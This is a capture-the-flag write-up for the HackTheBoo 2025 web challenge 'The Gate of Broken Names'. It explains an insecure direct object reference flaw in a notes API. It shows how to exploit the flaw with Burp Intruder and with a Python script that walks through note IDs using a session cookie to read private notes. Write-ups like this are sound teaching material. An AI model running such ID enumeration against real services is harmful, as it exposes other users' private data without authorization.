Skip to main content

The Gate of Broken Names

Event: HackTheBoo 2025 by HackTheBox
Category: WEB
Difficulty: Easy

Challenge Description​

Among the ruins of Briarfold, Mira uncovers a gate of tangled brambles and forgotten sigils. Every name carved into its stone has been reversed, letters twisted, meanings erased. When she steps through, the ground blursβ€”the village ahead is hers, yet wrong: signs rewritten, faces familiar but altered, her own past twisted. Tracing the pattern through spectral threads of lies and illusion, she forces the true gate openβ€”not by key, but by unraveling the false paths the Hollow King left behind.

Solution​

Initial Analysis​

  1. Check the files provided, we want to check anything that is related to the flag

    • First I check the init-data.js and found a function to read the flag file

      alt text

    • Next we check where it will be used in, in this case is inside this note generation function. We can see that there is flag and the randomized flag position.

      alt text

    • If we go down a bit more, we can see a loop to generate the random note and if condition that checks the index. It will generate the note containing the flag when index is equal to flagPosition.

      alt text

    • Now we know that we can retrieve the flag from the note but how do we get the note? Lets check the note.js file. There lies the line that fetch note by id.

      alt text

    • In the same screenshot, we can see the validation before we can fetch the note. It only checks for the request whether it have a session.user_id but there is no specific check to validate whether the user is authorized to fetch the note. Therefore as long as we can get a hold of a session.user_id then we can fetch any note even if it is private.

      alt text

Exploitation Steps​

  1. We have our attack plan, now lets deploy the machine and visit the page with the ip and port provided.

    alt text

  2. Create a new account, information here doesn't matter but make sure to note the login credentials.

    alt text

  3. Sign in with the credentials

    alt text

  4. Now we are here, we can go to the all chronicles to check around

    alt text

  5. We can see the public notes here. We are going to click read more.

    alt text

  6. There it is, the /id parameter. What will happen if i change the number to 1?

    alt text

  7. It works, so how about we try something private?

    alt text

    alt text

  8. It also works fine, but now how do we find the flag? Well brute force and check if there is the flag value or the note title is critical

    alt text

    alt text

Method 1: Burpsuite​

  1. The no code way is to use burpsuite, open the proxy browser, login, go to our note page which have the id parameter in url and intercept the request. Make sure to get the correct request as we have the page and the data fetch. If you fetch the page then it only load page without the note data.

    alt text

    alt text

    alt text

  2. I setup the intruder with our request and payload. (Previously I created a new note just to check the upper bound for my brute force)

    alt text

  3. Run it and you can check every response returned, you will find the flag eventually.

    alt text

Method 2: Python Script​

import requests

BASE_URL = "http://209.38.254.230:31953"
CUSTOM_COOKIE = "connect.sid=s%3A_VASD4smoeai1zIOl5t2N1yFIfqhmLMy.8t52G7XG1EZX56jmnQ0Ch6NfXw2hpAa0nyOrGPecPG0"

def fetch_note(note_id):
"""Fetch a specific note by ID"""
try:
r = requests.get(f"{BASE_URL}/api/notes/{note_id}", cookies={'connect.sid': CUSTOM_COOKIE.split('=')[1]})
return r.json() if r.status_code == 200 else None
except:
return None

def search_for_flag(start_id=1, end_id=10):
"""Search notes for flag keyword"""
print(f"\n[*] Searching notes {start_id} to {end_id}...")
print("=" * 80)

for note_id in range(start_id, end_id + 1):
note = fetch_note(note_id)

if note and not note.get('error'):
title = note.get('title', '')
content = note.get('content', '')

# Check for flag keyword
if 'critical system configuration' in title.lower():
print(f"\n[+] FLAG FOUND in Note ID {note_id}!")
print(f" Title: {title}")
print(f" Content: {content}")
else:
print(f"[.] Note {note_id}: '{title}'")
else:
print(f"[-] Note {note_id}: Not accessible")

def main():
# Search for flags
search_for_flag(start_id=1, end_id=212)
print("\n[*] Done!")

if __name__ == "__main__":
main()

Key Takeaways​

  • Insecure Direct Object Reference (IDOR) vulnerability
  • Missing authorization checks on private resources
  • Session authentication without proper access control